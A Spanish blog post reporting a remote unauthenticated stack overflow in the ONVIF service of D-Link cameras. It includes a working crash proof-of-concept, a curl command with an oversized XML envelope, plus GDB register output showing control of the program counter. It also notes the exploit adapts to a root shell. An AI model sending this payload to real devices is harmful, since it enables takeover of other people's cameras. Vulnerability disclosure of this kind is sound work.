miércoles, 25 de noviembre de 2015

Vulnerabilidad en cámaras D-Link (ONVIF) permite el acceso remoto como root

Hace una semana @rpaleari y @joystick publicaron una vulnerabilidad de desbordamiento de búfer (stack) que afecta al servicio Onvif de las cámaras D-Link el cual es accesible por la WAN sin autenticación. En otras palabras, la vulnerabilidad puede explotarse remotamente y usuarios no autenticados pueden ganar acceso como root en los dispositivos afectados.

Concretamente el problema está en la llamada a la función vsprintf(str, "%s", input) donde str es una variable de tamaño fijo e input es el búfer de solicitud de entrada controlado por el atacante. Un atacante puede sobrescribir un puntero en la pila (por ejemplo, el registro guardado lr) para secuestrar el flujo de ejecución.

La función vulnerable vsprintf() es llamada por BaseCgilet::Term() (desde libcgilet.so). A continuación, se lanza el exploit en Soaplet::onUpdateSettings(), que a su vez llama a BaseCgilet::Term() cuando un documento XML no puede ser parseado correctamente. También podrían existir otras rutas en el código que lleven a la llamada a la función vulnerable.

Podemos llevar a cabo una PoC mediante el siguiente comando:



curl -d @poc-crash.xml -k -v https://<target IP>/onvif/device_service --header 'Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/device/wsdl/GetSystemDateAndTime"'

El xml poc-crash.xml es tan sencillo como esto:



<s:Envelope xmlns:s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXX">

Esta petición hace que binario CGI desborde el búfer de pila, sobrescribiendo el valor lr guardado con datos ficticios. En la siguiente ejecución de GDB, todos los registros con valor 0x58585858 y 0x41414141 provienen del documento XML de entrada.


# gdb --args ./device_service
(gdb) run < poc.xml
ret != IXML_SUCCESS: 12
!_soapDump:
<s:Envelope xmlns:s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXX">

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) info registers
r0             0x214    532
r1             0x0      0
r2             0x0      0
r3             0x0      0
r4             0x41414141       1094795585
r5             0x82588  533896
r6             0x82cd8  535768
r7             0x0      0
r8             0x0      0
r9             0x0      0
r10            0xb6fff000       3070226432
r11            0x41414141       1094795585
r12            0xb6f8e418       3069764632
sp             0xbefff888       0xbefff888
lr             0x58585858       1482184792
pc             0x58585858       0x58585858
cpsr           0x60000010       1610612752

Se puede adaptar el exploit fácilmente para ganar un shell como se muestra en la siguiente pantalla:



Por el momento la vulnerabilidad ha sido probada en el modelo DCS-942L (1.25 (hardware revision A)) aunque probablemente afecte a otros muchos modelos.

Fuente

No hay comentarios:

Publicar un comentario